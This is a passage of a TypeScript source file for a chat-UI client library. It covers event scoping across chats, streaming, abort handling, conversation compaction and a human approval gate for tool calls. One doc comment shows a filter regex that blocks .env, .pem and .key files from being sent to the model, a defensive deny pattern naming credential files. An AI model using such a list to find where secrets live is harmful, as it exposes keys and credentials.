avoid\n * flooding the context window with full file contents.\n */\n rawFileInject?: 'all' | 'images-only' | 'none';\n\n /**\n * Per-file veto on top of {@link rawFileInject}: called for each file the\n * mode would inject; return `false` to keep that file out of the request.\n * The file still rides on the `aparte-send` event for the application\n * layer (upload, RAG). Use it to block sensitive names while keeping the\n * default inline UX:\n *\n * ```ts\n * fileInjectFilter: (f) => !/(^|\\.)env$|\\.(pem|key)$/i.test(f.name)\n * ```\n */\n fileInjectFilter?: (file: File) => boolean;\n\n /**\n * Config this client reads (providers, model selection, tools, system\n * prompt). Defaults to `aparteGlobalConfig`. Pass a host's\n * instance config when scoping a client to one chat among several\n * (pairs with `scopeToTargetId`).\n */\n config?: AparteConfig;\n}\n\n/**\n * AparteClient\n *\n * The \"Automatic Transmission\" for Aparte.\n * Connects the UI events (aparte-send) to the AI Providers (chat).\n * Handles:\n * - Listening to send events\n * - Resolving API keys\n * - Calling the appropriate Provider\n * - Streaming the response back to the UI\n * - Tool use: awaiting handlers and re-calling the provider\n *\n * @example\n * ```typescript\n * const client = new AparteClient({\n * keyResolver: (providerId) => process.env[providerId.toUpperCase() + '_KEY']\n * });\n * client.start();\n * ```\n */\n/**\n * Race a tool handler against its timeout, and reject as an `AbortError` when the\n * timeout wins.\n *\n * Aborting a controller is a REQUEST the handler is free to ignore, and the default\n * shape of a consumer tool ignores it —\n * `async () => ({ content: await fetch(...).then(r => r.text()) })` never reads its\n * signal. So `setTimeout(() => controller.abort(), ms)` on its own fired, nothing\n * rejected, and the loop waited forever on an option whose JSDoc promises a\n * timeout. Three copies of that shape existed: two here and one in the engine.\n *\n * Rejecting as `AbortError` rather than returning a sentinel is what keeps both\n * call sites unchanged: each already catches that name and marks its segment\n * aborted. The signal is still fired first, so a handler that DOES honour it gets\n * to clean up and reject on its own terms.\n */\nfunction withToolTimeout<T>(\n work: (signal: AbortSignal) => Promise<T>,\n controller: AbortController,\n timeoutMs: number,\n): { raced: Promise<T>; done: () => void } {\n let timer: ReturnType<typeof setTimeout> | undefined;\n const timedOut = new Promise<never>((_resolve, reject) => {\n timer = setTimeout(() => {\n controller.abort();\n reject(Object.assign(new Error(`tool handler exceeded ${timeoutMs}ms`), { name: 'AbortError' }));\n }, timeoutMs);\n });\n return {\n raced: Promise.race([work(controller.signal), timedOut]),\n done: () => clearTimeout(timer),\n };\n}\n\nexport class AparteClient {\n private _boundHandler: ((e: Event) => void) | null = null;\n private _boundAbortHandler: (() => void) | null = null;\n private _boundCompactHandler: ((e: Event) => void) | null = null;\n private _boundRetryHandler: ((e: Event) => void) | null = null;\n private _boundEditHandler: ((e: Event) => void) | null = null;\n private _activeToolControllers: Set<AbortController> = new Set();\n private _isAborted = false;\n\n /**\n * Does this window event belong to this client?\n *\n * One rule for all five handlers, because it used to be four near-copies and\n * one omission: `aparte-compact` had no guard at all, so in the two-client\n * layout the JSDoc documents, a single compact event made BOTH clients run —\n * two paid summarisation calls against whichever chat the DOM scan found\n * first, and a global reset that wiped the other conversation.\n *\n * A scoped client also answers only events ADDRESSED to it. The old guard let\n * an untargeted event through to every scoped client, which turned one\n * broadcast into an action on every chat on the page.\n */\n private _isForThisInstance(e?: Event): boolean {\n // No event at all means a direct, programmatic call — not a broadcast, so\n // no addressing rule applies to it.\n if (!e) return true;\n const detail = (e as CustomEvent).detail as { targetId?: string } | undefined;\n\n const scope = this.options.scopeToTargetId;\n if (scope) return detail?.targetId === scope;\n\n /*\n * No `scopeToTargetId`, but a client given its own `config` is still not a\n * page-wide client: it must answer only the chats that resolve THAT config.\n *\n * Without this, `{ config }` scoped what the client READ and nothing about\n * what it ANSWERED. Two config-scoped clients on one page therefore both\n * ran a full agentic turn for every send — two provider calls, two paid\n * completions, and both replies appended into the single target the event\n * named. The showcase that demonstrates per-instance config constructed\n * exactly that pair, and its comment asserted the opposite.\n *\n * `scopeToTargetId` was the documented remedy and is not reachable from any\n * wrapper (they generate the host id internally and do not expose it), so a\n * framework consumer had no way to apply it.\n *\n * A client on the GLOBAL config is deliberately unchanged: it answers\n * everything, which is every single-chat app on the planet, and narrowing\n * that would be a silent break for the common case.\n */\n if (this._config === aparteGlobalConfig) return true;\n const target = this._resolveTarget(detail?.targetId);\n if (!target) return true;\n const owner = resolveConfig(target);\n /*\n * Reject only a target that demonstrably belongs to ANOTHER instance — one\n * whose boundary resolves a different, non-global config.\n *\n * Not \"the target must resolve OUR config\", which was the first attempt and\n * was too strict: passing `{ config }` without ever calling `attachConfig`\n * is a legitimate shape — the config as a settings bag for the one chat on\n * the page — and three existing tests do exactly that. A chat with no\n * boundary is unclaimed, so answering it is correct.\n */\n return owner === this._config || owner === aparteGlobalConfig;\n }\n /** Aborts the in-flight vendor/transport fetch when the user stops a stream. */\n private _streamController: AbortController | null = null;\n\n private options: AparteClientOptions;\n /** Config read by this client — an instance config, or the global default. */\n private readonly _config: AparteConfig;\n\n constructor(options: AparteClientOptions = {}) {\n this.options = {\n autoRegister: true,\n ...options\n };\n this._config = options.config ?? aparteGlobalConfig;\n\n // Both take THIS client's config, not the global one. Segment renderers are\n // registered per config as of 0.8.0, so a client constructed with\n // `{ config }` must register — or decline — on that instance; otherwise\n // `autoRegister: false` on a scoped client silently muted the global chat\n // instead of its own.\n if (this.options.autoRegister) {\n registerDefaultRenderers(this._config);\n } else {\n // Explicit: keep core's built-ins out, including the lazy install the\n // bubble would otherwise do on first render.\n declineDefaultRenderers(this._config);\n }\n\n this._setupListeners();\n }\n\n /**\n * Sets up the event listeners.\n * This is called once in the constructor.\n */\n private _setupListeners(): void {\n if (this._boundHandler) return; // Already set up\n\n this._boundHandler = (e: Event) => {\n const event = e as CustomEvent;\n if (event.type !== 'aparte-send') return;\n // Scope guard: ignore events not for this instance\n if (!this._isForThisInstance(event)) return;\n // Reset abort flag and cancel any tool calls from a previous turn\n this._isAborted = false;\n for (const controller of this._activeToolControllers) {\n controller.abort();\n }\n this._activeToolControllers.clear();\n\n void this._handleSend(event);\n };\n }\n\n /**\n * Start listening for aparte-send events on the window.\n */\n start(): void {\n if (!this._boundHandler) {\n this._setupListeners();\n }\n if (this._boundHandler) {\n window.addEventListener('aparte-send', this._boundHandler);\n }\n if (!this._boundAbortHandler) {\n this._boundAbortHandler = (e?: Event) => {\n // Scope guard\n if (!this._isForThisInstance(e)) return;\n this.abort();\n };\n }\n window.addEventListener('aparte-abort', this._boundAbortHandler);\n if (!this._boundCompactHandler) {\n this._boundCompactHandler = (e: Event) => {\n if (!this._isForThisInstance(e)) return;\n const detail = (e as CustomEvent).detail as { targetId?: string } | undefined;\n void this.compact(detail?.targetId);\n };\n }\n window.addEventListener('aparte-compact', this._boundCompactHandler);\n\n if (!this._boundRetryHandler) {\n this._boundRetryHandler = (e: Event) => {\n const evt = e as CustomEvent;\n if (!this._isForThisInstance(evt)) return;\n void this._handleRetry(evt);\n };\n }\n window.addEventListener('aparte-retry', this._boundRetryHandler);\n\n if (!this._boundEditHandler) {\n this._boundEditHandler = (e: Event) => {\n const evt = e as CustomEvent;\n if (!this._isForThisInstance(evt)) return;\n void this._handleEdit(evt);\n };\n }\n window.addEventListener('aparte-edit', this._boundEditHandler);\n }\n\n /**\n * Stop listening.\n */\n stop(): void {\n // Abort what is in flight, not just the listeners.\n //\n // `stop()` used to remove event handlers and nothing else, so a wrapper\n // unmounting mid-stream — both `useAparteClient` and the Svelte store call\n // this on teardown — left the vendor request running: the user navigates\n // away and the tokens keep being generated and billed, with nothing left on\n // the page to render them.\n //\n // Before the early return: a client that was never `start()`ed can still\n // have a stream, because `_handleSend` can be invoked directly.\n this.abort();\n if (!this._boundHandler) return;\n window.removeEventListener('aparte-send', this._boundHandler);\n this._boundHandler = null;\n if (this._boundAbortHandler) {\n window.removeEventListener('aparte-abort', this._boundAbortHandler);\n this._boundAbortHandler = null;\n }\n if (this._boundCompactHandler) {\n window.removeEventListener('aparte-compact', this._boundCompactHandler);\n this._boundCompactHandler = null;\n }\n if (this._boundRetryHandler) {\n window.removeEventListener('aparte-retry', this._boundRetryHandler);\n this._boundRetryHandler = null;\n }\n if (this._boundEditHandler) {\n window.removeEventListener('aparte-edit', this._boundEditHandler);\n this._boundEditHandler = null;\n }\n }\n\n /**\n * Abort the current streaming response and all active tool calls.\n * Dispatches `aparte-message-aborted` on the target element.\n */\n abort(): void {\n this._isAborted = true;\n this._streamController?.abort();\n for (const controller of this._activeToolControllers) {\n controller.abort();\n }\n this._activeToolControllers.clear();\n }\n\n /**\n * Human-in-the-loop: wait for an `aparte-tool-decision` event matching this\n * tool call (dispatched by the built-in Approve/Reject UI or an app-level\n * approval surface). Resolves `{ approved, payload }` — `approved` is `true`\n * only on an explicit approve, and `payload` carries any arbitrary data a\n * custom approval UI attached to the decision (the built-in gate sends\n * none). The `signal` (an AbortController registered in\n * `_activeToolControllers`) lets `abort()` cleanly resolve a pending\n * approval to `{ approved: false }` — there is no timeout, since a human may\n * take any amount of time to decide.\n */\n /**\n * Await the human's Approve/Reject for one tool call.\n *\n * `target` is not decoration: it is the scope of the consent. The listener sits\n * on `document` and used to accept any `aparte-tool-decision` whose\n * `detail.toolCallId` matched — and that id is the tool-call id the MODEL chose.\n * The built-in buttons dispatch with `bubbles: true, composed: true`, so on a\n * page with two chats a click aimed at one tool could satisfy the gate awaiting\n * a different tool in a different conversation. The consented action and the\n * executed action came apart, which is the entire failure mode an approval gate\n * exists to prevent — and the handler behind it is arbitrary consumer code.\n *\n * The check is DOM CONTAINMENT rather than a `targetId` string comparison. A\n * model can choose an id; it cannot choose where in the tree the click happened.\n * It also needs no change on the dispatch side, so a consumer's own Approve\n * button keeps working as long as it fires from inside its own chat.\n *\n * The request half of this handshake was hardened with `targetId` for exactly\n * this hazard. This is its sibling, and it was missed.\n */\n private _awaitToolDecision(toolCallId: string, signal: AbortSignal, target?: HTMLElement): Promise<{ approved: boolean; payload?: unknown }> {\n return new Promise<{ approved: boolean; payload?: unknown }>((resolve) => {\n if (signal.aborted) { resolve({ approved: false }); return; }\n const cleanup = () => {\n document.removeEventListener('aparte-tool-decision', onDecision as EventListener);\n signal.removeEventListener('abort', onAbort);\n };\n const onDecision = (e: Event) => {\n const detail = (e as CustomEvent).detail as { toolCallId?: string; approved?: boolean; payload?: unknown } | undefined;\n if (detail?.toolCallId !== toolCallId) return;\n // Only a decision made INSIDE the chat that asked counts. A\n // programmatic dispatch on `window`/`document` (no node inside the\n // target) is still honoured: that is a host answering on the user's\n // behalf, which is a documented path.\n if (target && e.target instanceof Node && e.target !== document && !target.contains(e.target)) return;\n cleanup();\n resolve({ approved: detail?.approved === true, payload: detail?.payload });\n };\n const onAbort = () => { cleanup(); resolve({ approved: false }); };\n document.addEventListener('aparte-tool-decision', onDecision as EventListener);\n signal.addEventListener('abort', onAbort, { once: true });\n });\n }\n\n /**\n * Resolve the auth for a provider: `options.keyResolver` takes precedence,\n * then the aparteGlobalConfig key channel (`setKeyProvider`) so a key registered\n * there reaches the request. One key source on the happy path.\n */\n private async _resolveAuth(providerId: string): Promise<string | Record<string, string> | undefined> {\n if (this.options.keyResolver) {\n const resolved = await this.options.keyResolver(providerId);\n if (resolved) return resolved;\n }\n const key = await this._config.getKey(providerId);\n return key || undefined;\n }\n\n /**\n * The shared tail of send / retry / edit: attach the current tools, run the\n * request interceptor, honour `toolChoice: 'none'`, reset the abort flag,\n * dispatch `aparte-message-start`, run the agentic `_streamLoop`, then dispatch\n * `aparte-message-done` or route the error to the lifecycle handler.\n *\n * Callers own only their turn-specific prep (target resolution, history\n * building, appending the assistant placeholder) and hand the fully-built\n * `messages` here — one place for the provider→interceptor→toolChoice→stream\n * sequence, so it can't drift between the three entry points.\n */\n private async _streamTurn(\n targetElement: AparteChatTargetElement,\n messageId: string,\n provider: AparteAIProvider,\n messages: AparteChatMessage[],\n modelId: string,\n authConfig: string | Record<string, string> | undefined,\n opts?: { temperature?: number },\n ): Promise<void> {\n const registeredTools = this._toolsForCurrentModel();\n let baseRequest: AparteChatRequest = {\n messages,\n modelId,\n stream: true,\n tools: registeredTools.length ? registeredTools : undefined,\n ...(opts?.temperature !== undefined ? { temperature: opts.temperature } : {}),\n };\n if (this.options.requestInterceptor) {\n baseRequest = await this.options.requestInterceptor(baseRequest);\n }\n // toolChoice: 'none' — strip tools so the model never sees them.\n if (baseRequest.toolChoice === 'none') {\n baseRequest = { ...baseRequest, tools: undefined };\n }\n\n // Stopped while we were resolving auth or reading attachments: the stream\n // controller did not exist yet, so `abort()` had nothing to cancel — the\n // flag is the only trace, and it must not be thrown away here.\n if (this._isAborted) {\n dispatchLifecycleEvent(targetElement, 'aparte-message-aborted', { messageId });\n return;\n }\n dispatchLifecycleEvent(targetElement, 'aparte-message-start', { messageId, role: 'assistant' });\n try {\n const usage = await this._streamLoop(targetElement, messageId, provider, baseRequest, authConfig);\n if (this._isAborted) {\n // A stopped turn is FINISHED, and someone has to say so. The inline\n // loop marks the message completed on its way out; the injected\n // runner returns through `run-aborted` and never emits `run-done`,\n // so nothing did — and the bubble stayed flagged as streaming\n // forever. Caught by the browser suite, which is the only place a\n // stuck flag is visible.\n //\n // Not `done`, though: announcing a normal completion on top of an\n // abort is what a provider that ends quietly used to produce.\n this._updateMessage(targetElement, messageId, { status: 'completed' });\n } else {\n dispatchLifecycleEvent(targetElement, 'aparte-message-done', { messageId, role: 'assistant', usage });\n }\n } catch (error: unknown) {\n // A THIRD abort path, and the one the browser suite caught after the\n // other two were closed: when the user stops before any event has\n // arrived, the fetch rejection escapes `transportCall` as an exception.\n // It never reaches the event stream, so neither the guard around\n // `reader.read()` nor the one on the `error` event can see it — and\n // `_handleLifecycleError` would REPLACE the message with an error\n // segment, turning a deliberate stop into a rendered failure.\n if (this._isAborted) {\n dispatchLifecycleEvent(targetElement, 'aparte-message-aborted', { messageId });\n this._updateMessage(targetElement, messageId, { status: 'completed' });\n return;\n }\n const aparteError = AparteError.from(error, AparteErrorCode.UNKNOWN_ERROR);\n this._handleLifecycleError(targetElement, messageId, aparteError);\n }\n }\n\n /**\n * Compact the current conversation: summarize all messages via the AI,\n * clear the viewport, then inject the summary as a single context message.\n *\n * Triggered programmatically or by dispatching `window.dispatchEvent(new CustomEvent('aparte-compact'))`.\n * Dispatches `aparte-compact-done` on window when complete, or `aparte-compact-error` on failure.\n */\n async compact(targetId?: string): Promise<void> {\n // 1. Resolve target element — through the same resolver every other\n // handler uses, so an explicit id wins over a document-wide scan. The\n // scan alone meant a scoped client summarised whichever chat happened to\n // come first in the DOM, not its own.\n let target = this._resolveTarget<AparteChatTargetElement>(targetId);\n if (target && typeof target.getMessages !== 'function') target = null;\n if (!target) {\n window.dispatchEvent(new CustomEvent('aparte-compact-error', { detail: { error: 'No aparte-chat target found' } }));\n return;\n }\n\n const messages: AparteMessage[] = target.getMessages?.() ?? [];\n if (messages.length === 0) {\n window.dispatchEvent(new CustomEvent('aparte-compact-done', { detail: { skipped: true } }));\n return;\n }\n\n // Decide what to summarize (`drop`) vs preserve verbatim (`keep`).\n // Default: drop everything (summarize all, replace all — legacy behaviour).\n const selector = this.options.compactionSelector\n ?? ((m: AparteMessage[]) => ({ keep: [] as AparteMessage[], drop: m }));\n const { keep, drop } = selector(messages);\n if (drop.length === 0) {\n // Nothing old enough to summarize (e.g. already within budget).\n window.dispatchEvent(new CustomEvent('aparte-compact-done', { detail: { skipped: true } }));\n return;\n }\n\n // 2. Resolve provider + model\n const config = this._config.getModelConfig();\n const providerId = config.defaultProvider;\n if (!providerId) {\n window.dispatchEvent(new CustomEvent('aparte-compact-error', { detail: { error: 'No provider configured' } }));\n return;\n }\n const provider = this._config.getAIProvider(providerId);\n if (!provider) {\n window.dispatchEvent(new CustomEvent('aparte-compact-error', { detail: { error: `Provider '${providerId}' not found` } }));\n return;\n }\n\n // 3. Dispatch start so host can show loading state\n window.dispatchEvent(new CustomEvent('aparte-compact-start'));\n\n try {\n // 4. Resolve auth\n const authConfig = await this._resolveAuth(providerId);\n\n // 5. Build summarize request — only over the dropped (old) turns\n const historyMessages: AparteChatMessage[] = drop\n .filter(m => m.role === 'user' || (m.role === 'assistant' && m.status === 'completed'))\n .map(m => ({\n role: m.role as 'user' | 'assistant',\n content: this._extractText(m)\n }))\n .filter(m => contentToText(m.content).length > 0);\n\n const summarizeRequest: AparteChatRequest = {\n messages: [\n {\n role: 'system',\n content:\n 'You are a conversation summarizer. ' +\n 'Create a concise but complete summary of the conversation below. ' +\n 'Capture: key topics, conclusions, decisions, ongoing tasks, and any context needed to continue the conversation. ' +\n 'Write in third person. Be factual and brief. No preamble, just the summary.'\n },\n ...historyMessages,\n {\n role: 'user',\n content: 'Please summarize this conversation.'\n }\n ],\n modelId: config.defaultModel || '',\n stream: false\n };\n\n // 6. Call provider (non-streaming), WITH a signal.\n //\n // This call had none, so `abort()` could not stop it: a summarisation the\n // user cancelled kept running and kept being billed, and its result\n // arrived to overwrite a conversation the user had moved on from. It goes\n // through the same controller slot as a turn so `abort()` and `stop()`\n // reach it.\n const compactController = new AbortController();\n this._streamController = compactController;\n const response = await this._config.getTransport().chat(\n provider, summarizeRequest, authConfig,\n { providerId: provider.id, signal: compactController.signal },\n );\n let summary: string;\n if (typeof response === 'string') {\n summary = response;\n } else {\n // Collect stream fallback\n const reader = (response as ReadableStream<AparteStreamEvent>).getReader();\n const chunks: string[] = [];\n while (true) {\n const { done, value } = await reader.read();\n if (done) break;\n if (value.type === 'text') chunks.push(value.delta);\n }\n reader.releaseLock();\n summary = chunks.join('');\n }\n\n if (!summary.trim()) {\n throw new Error('Empty summary returned by model');\n }\n\n // 7. Clear THIS viewport and inject the summary. The global\n // `aparte-reset` used to go out instead, and every mounted viewport\n // listens for it — so compacting one chat cleared the others too,\n // with no summary injected into them. The broadcast remains only as\n // the fallback for a host whose target exposes no clearAll.\n const clearAll = (target as { clearAll?: () => void }).clearAll;\n if (typeof clearAll === 'function') clearAll.call(target);\n else window.dispatchEvent(new CustomEvent('aparte-reset'));\n\n // Small delay to let clearAll() finish DOM cleanup\n await new Promise<void>(resolve => setTimeout(resolve, 50));\n\n target.appendMessage?.({\n id: uuid(),\n role: 'assistant',\n content: `📝 **Conversation summary**\\n\\n${summary}`,\n timestamp: Date.now(),\n status: 'completed'\n });\n\n // 7b. Re-append the preserved recent turns verbatim after the summary.\n // (No-op with the default selector, which keeps nothing.)\n for (const kept of keep) {\n target.appendMessage?.(kept);\n }\n\n // 8. Done\n window.dispatchEvent(new CustomEvent('aparte-compact-done', { detail: { summary, kept: keep.length } }));\n\n } catch (err: unknown) {\n console.error('[AparteClient] compact() failed:', err);\n const message = err instanceof Error ? err.message : String(err);\n window.dispatchEvent(new CustomEvent('aparte-compact-error', { detail: { error: message } }));\n }\n }\n\n /**\n * Handle aparte-retry — add a sibling branch to the assistant message and re-stream\n * using the same conversation history minus the retried reply.\n */\n /**\n * The registered tools, unless the current model says it cannot call one.\n *\n * Single source for the gate, so send / retry / edit cannot drift — that drift\n * is what once shipped `tools` on the initial send while retry and edit omitted\n * them.\n *\n * The gate used to be \"the model DECLARES function_calling\", defaulting to\n * stripping — and that made the whole tool surface unreachable on the primary\n * documented path. Three things had to line up for a tool to be sent, and one\n * never did: the app sets a model id by hand (`setModelConfig`) or a selector\n * sets it from a fetched list, and in both cases the model's declared\n * capabilities are commonly unknown. `undefined` capabilities then read as \"no\n * function calling\", so `tools: []` went on the wire while `getTools()` held\n * the tool the app had explicitly registered. The model answered, correctly,\n * that it had no such tool, and nothing anywhere said why.\n *\n * So the question is now \"did this model say it cannot\", not \"did it say it\n * can\". Registering a tool is an explicit act by the app; silently dropping it\n * because a `/models` listing is terse is the library second-guessing the\n * developer. A model that declares its capabilities and omits function calling\n * is still honoured — that is a statement, and it is respected.\n *\n * Failure modes, both ways round: over-sending means a model that cannot use\n * tools does not call one, or its own endpoint rejects the array with an error\n * the developer can read. Under-sending was silent, total, and looked like a\n * lying model.\n */\n private _toolsForCurrentModel(): AparteTool[] {\n const capabilities = this._config.getCurrentModel()?.capabilities;\n const declinesTools = capabilities ? !capabilities.includes('function_calling') : false;\n return declinesTools ? [] : this._config.getTools();\n }\n\n private async _handleRetry(event: CustomEvent): Promise<void> {\n const { messageId, targetId } = event.detail ?? {};\n // A fresh user action clears a previous turn's abort, the same way the\n // `aparte-send` handler does. It has to happen HERE, at the start of the\n // action, rather than inside `_streamTurn` — which runs after the auth and\n // file-reading awaits, so a reset there erased an abort that arrived while\n // the user was still waiting for a large attachment to be read.\n this._isAborted = false;\n\n if (!messageId) return;\n\n const targetElement = this._resolveTarget<AparteChatTargetElement>(targetId);\n if (!targetElement) {\n console.warn('[AparteClient] aparte-retry — no target found');\n return;\n }\n\n // Build history BEFORE calling addSiblingOf (getMessages() returns active path)\n const allMessages: AparteMessage[] = targetElement.getMessages?.() ?? [];\n const retryIdx = allMessages.findIndex(m => m.id === messageId);\n const retryMsg = retryIdx >= 0 ? allMessages[retryIdx] : undefined;\n // For user messages: include the user message in history (AI needs to see the question).\n // For assistant messages: exclude it (we are regenerating that response).\n const sliceEnd = retryMsg?.role === 'user' ? retryIdx + 1 : retryIdx;\n // `>= 0`, not `> 0`: index 0 is a legitimate retry target (a thread seeded\n // with an assistant greeting), and treating it as \"not found\" discarded the\n // computed slice and resent the ENTIRE transcript — including the reply\n // being regenerated, so the retry produced a continuation, not a redo.\n const historyMessages = retryIdx >= 0 ? allMessages.slice(0, sliceEnd) : allMessages;\n\n // Create new sibling message and get its ID for streaming\n const newMsg: AparteMessage = {\n id: uuid(),\n role: 'assistant',\n content: '',\n status: 'pending',\n timestamp: Date.now(),\n };\n const newMessageId = targetElement.addSiblingOf?.(messageId, newMsg) ?? newMsg.id;\n\n const config = this._config.getModelConfig();\n const providerId = config.defaultProvider;\n if (!providerId) return;\n const provider = this._config.getAIProvider(providerId);\n if (!provider) return;\n\n const authConfig = await this._resolveAuth(providerId);\n\n const chatMessages = this._messagesToChatMessages(historyMessages);\n\n // Add system prompts\n const systemMessages: import('../types/chat.js').AparteChatMessage[] = [];\n const userSystemPrompt = this._config.resolveSystemPrompt();\n if (userSystemPrompt) systemMessages.push({ role: 'system', content: userSystemPrompt });\n\n // Retry must produce a DIFFERENT answer than the greedy (byte-identical)\n // re-run: temperature > 0 opts into sampling (the worker turns on\n // do_sample); variation comes from the in-decoder RNG, no seed needed.\n await this._streamTurn(\n targetElement, newMessageId, provider,\n [...systemMessages, ...chatMessages], config.defaultModel || '',\n authConfig, { temperature: 0.4 },\n );\n }\n\n /**\n * Handle aparte-edit — update the user message in place, truncate all subsequent\n * messages, then re-stream a fresh assistant response.\n */\n private async _handleEdit(event: CustomEvent): Promise<void> {\n const { messageId, content: newContent, targetId } = event.detail ?? {};\n // A fresh user action clears a previous turn's abort, the same way the\n // `aparte-send` handler does. It has to happen HERE, at the start of the\n // action, rather than inside `_streamTurn` — which runs after the auth and\n // file-reading awaits, so a reset there erased an abort that arrived while\n // the user was still waiting for a large attachment to be read.\n this._isAborted = false;\n\n if (!messageId || newContent === undefined) return;\n\n const targetElement = this._resolveTarget<AparteChatTargetElement>(targetId);\n if (!targetElement) {\n console.warn('[AparteClient] aparte-edit — no target found');\n return;\n }\n\n // 1. Update the user message content\n targetElement.updateMessage?.(messageId, { content: newContent });\n\n // 2. Collect all messages, find index of edited message\n const allMessages: AparteMessage[] = targetElement.getMessages?.() ?? [];\n const editIdx = allMessages.findIndex(m => m.id === messageId);\n\n // 3. Remove ALL previous responses to the edited user message.\n // truncateResponsesAfter clears every sibling branch so the new\n // response starts as the only child (sibling count = 1).\n // Fall back to truncateFrom on the active next message for older hosts.\n if (targetElement.truncateResponsesAfter) {\n targetElement.truncateResponsesAfter(messageId);\n } else {\n const nextAssistantId = editIdx >= 0 && editIdx + 1 < allMessages.length\n ? allMessages[editIdx + 1]?.id\n : undefined;\n if (nextAssistantId) {\n targetElement.truncateFrom?.(nextAssistantId);\n }\n }\n\n // 4. Build new history up to and including the edited user message\n const historyMessages = editIdx >= 0 ? allMessages.slice(0, editIdx + 1) : allMessages;\n const chatMessages = this._messagesToChatMessages(historyMessages);\n\n const systemMessages: import('../types/chat.js').AparteChatMessage[] = [];\n const userSystemPrompt = this._config.resolveSystemPrompt();\n if (userSystemPrompt) systemMessages.push({ role: 'system', content: userSystemPrompt });\n\n const config = this._config.getModelConfig();\n const providerId = config.defaultProvider;\n if (!providerId) return;\n const provider = this._config.getAIProvider(providerId);\n if (!provider) return;\n\n const authConfig = await this._resolveAuth(providerId);\n\n const newMessageId = uuid();\n targetElement.appendMessage?.({\n id: newMessageId,\n role: 'assistant',\n content: '',\n status: 'pending',\n timestamp: Date.now()\n });\n\n await this._streamTurn(\n targetElement, newMessageId, provider,\n [...systemMessages, ...chatMessages], config.defaultModel || '',\n authConfig,\n );\n }\n\n /**\n * Resolve a target element by id (from event detail.targetId) or via targetResolver / DOM scan.\n */\n private _resolveTarget<T extends HTMLElement>(targetId?: string): T | null {\n // An explicit id / resolver is TRUSTED as given (it may gain its render\n // methods later); only the implicit DOM scan must prefer a candidate that\n // can actually render — the <aparte-chat> shell matches the selector first\n // but delegates rendering to its viewport (see _asRenderTarget), so a blind\n // candidates[0] returned an unusable shell and retry/edit silently no-op'd.\n if (targetId) {\n const el = document.getElementById(targetId) as HTMLElement | null;\n if (el) return this._asRenderTarget<T>(el) ?? (el as unknown as T);\n }\n if (this.options.targetResolver) {\n const el = this.options.targetResolver() as HTMLElement | null;\n if (el) return this._asRenderTarget<T>(el) ?? (el as unknown as T);\n }\n const candidates = document.querySelectorAll<HTMLElement>('aparte-chat, aparte-chat-viewport, [data-aparte-chat]');\n for (const candidate of candidates) {\n const target = this._asRenderTarget<T>(candidate);\n if (target) return target;\n }\n return (candidates[0] as unknown as T | undefined) ?? null;\n }\n\n /**\n * Resolve an element to a usable render target: itself when it exposes\n * `appendMessage`, else the viewport it delegates to. The `<aparte-chat>`\n * shell matches the host selectors/id but owns no `appendMessage` (it forwards\n * rendering to its `.viewport`), so returning the bare shell would make\n * send / retry / edit silently no-op. Returns null when neither can render.\n */\n private _asRenderTarget<T extends HTMLElement>(el: HTMLElement | null | undefined): T | null {\n if (!el) return null;\n if (typeof (el as { appendMessage?: unknown }).appendMessage === 'function') return el as unknown as T;\n const viewport = (el as { viewport?: HTMLElement | null }).viewport;\n if (viewport && typeof (viewport as { appendMessage?: unknown }).appendMessage === 'function') {\n return viewport as unknown as T;\n }\n return null;\n }\n\n /**\n * Convert AparteMessage[] to AparteChatMessage[] for re-submission.\n */\n private _messagesToChatMessages(messages: AparteMessage[]): import('../types/chat.js').AparteChatMessage[] {\n // Use _extractText (not m.content): assistant replies stream their text\n // into `segments`, leaving `content` as ''. Without flattening, retry/edit\n // would send empty assistant turns and the model answers the wrong question.\n return messages\n .filter(m => m.role === 'user' || m.role === 'assistant')\n .map(m => ({\n role: m.role as 'user' | 'assistant',\n content: this._extractText(m)\n }));\n }\n\n private async _handleSend(event: CustomEvent): Promise<void> {\n const { content, modelId, providerId: explicitProviderId } = event.detail;\n\n // The model gate is a POLICY, so the thing that runs the turn has to hold\n // it — not only the composer that draws it.\n //\n // `setRequireModelSelection(true)` means \"no send before a model is chosen\",\n // and `aparte-composer.submit()` honours it. But any other way of sending\n // walked straight past: an app's suggestion chip, a \"try this prompt\"\n // button, a host dispatching `aparte-send` itself. The turn then ran with\n // `config.defaultModel || ''` — an empty model id on the wire, i.e. a real\n // request to the provider that can only fail. Reported from an example: the\n // chips above the composer are clickable while the composer is still greyed\n // out, waiting for `GET /models`.\n //\n // Refused rather than queued: a send is a user action tied to a moment, and\n // holding it to replay after an async fetch would surprise anyone whose\n // fetch takes ten seconds. `warn` and not silence, because the developer is\n // the one who can fix it — an app that gates SHOULD also disable its own\n // buttons, and this is how it finds out it did not.\n if (this._config.getRequireModelSelection() && !this._config.hasSelectedModel() && !modelId) {\n console.warn(\n '[AparteClient] Send refused: requireModelSelection is on and no model is selected yet. '\n + 'The composer blocks this, but this send did not come from it — disable your own '\n + 'send affordances while `hasSelectedModel()` is false.',\n );\n return;\n }\n\n // 1. Use targetId from event detail — the most reliable path.\n // The composer sets detail.targetId = host.id (set by AparteChatComponent).\n // document.getElementById works even when the composer is temporarily detached.\n let targetElement: AparteChatTargetElement | null = null;\n const targetId = (event.detail as { targetId?: string })?.targetId as string | undefined;\n if (targetId) {\n // Resolve through the shared helper: an `<aparte-chat>` shell carries\n // the id but owns no appendMessage (it delegates to `.viewport`), so\n // requiring the method ON the element made every `target`-attributed\n // send fall through to the DOM scan below — which returns the FIRST\n // chat on the page. With two chats, one chat's reply landed in the\n // other. retry/edit already used this helper; send had drifted.\n const byId = document.getElementById(targetId) as HTMLElement | null;\n const resolved = this._asRenderTarget<HTMLElement>(byId) as AparteChatTargetElement | null;\n if (resolved) {\n targetElement = resolved;\n } else {\n console.warn('[AparteClient] ⚠️ targetId present but element not found or missing appendMessage:', targetId);\n }\n }\n\n // 2. User-supplied resolver (e.g. provided via APARTE_CLIENT_OPTIONS)\n if (!targetElement && this.options.targetResolver) {\n const resolved = this.options.targetResolver() as AparteChatTargetElement | null;\n if (resolved && typeof resolved.appendMessage === 'function') {\n targetElement = resolved;\n }\n }\n\n // 3. Walk up the event bubble chain as last resort\n if (!targetElement) {\n let walker: AparteChatTargetElement | null = event.target as AparteChatTargetElement | null;\n while (walker && typeof walker.appendMessage !== 'function') {\n walker = walker.parentElement as AparteChatTargetElement | null;\n }\n if (walker) {\n targetElement = walker;\n }\n }\n\n // 4. Same-page DOM scan. The composer/input and the viewport are usually\n // SIBLINGS (the viewport fills the scroll area, the composer docks\n // below it) — exactly the documented flat quick-start layout — so the\n // parentElement walk above never reaches the viewport. Mirror the\n // retry/edit resolver's scan so a 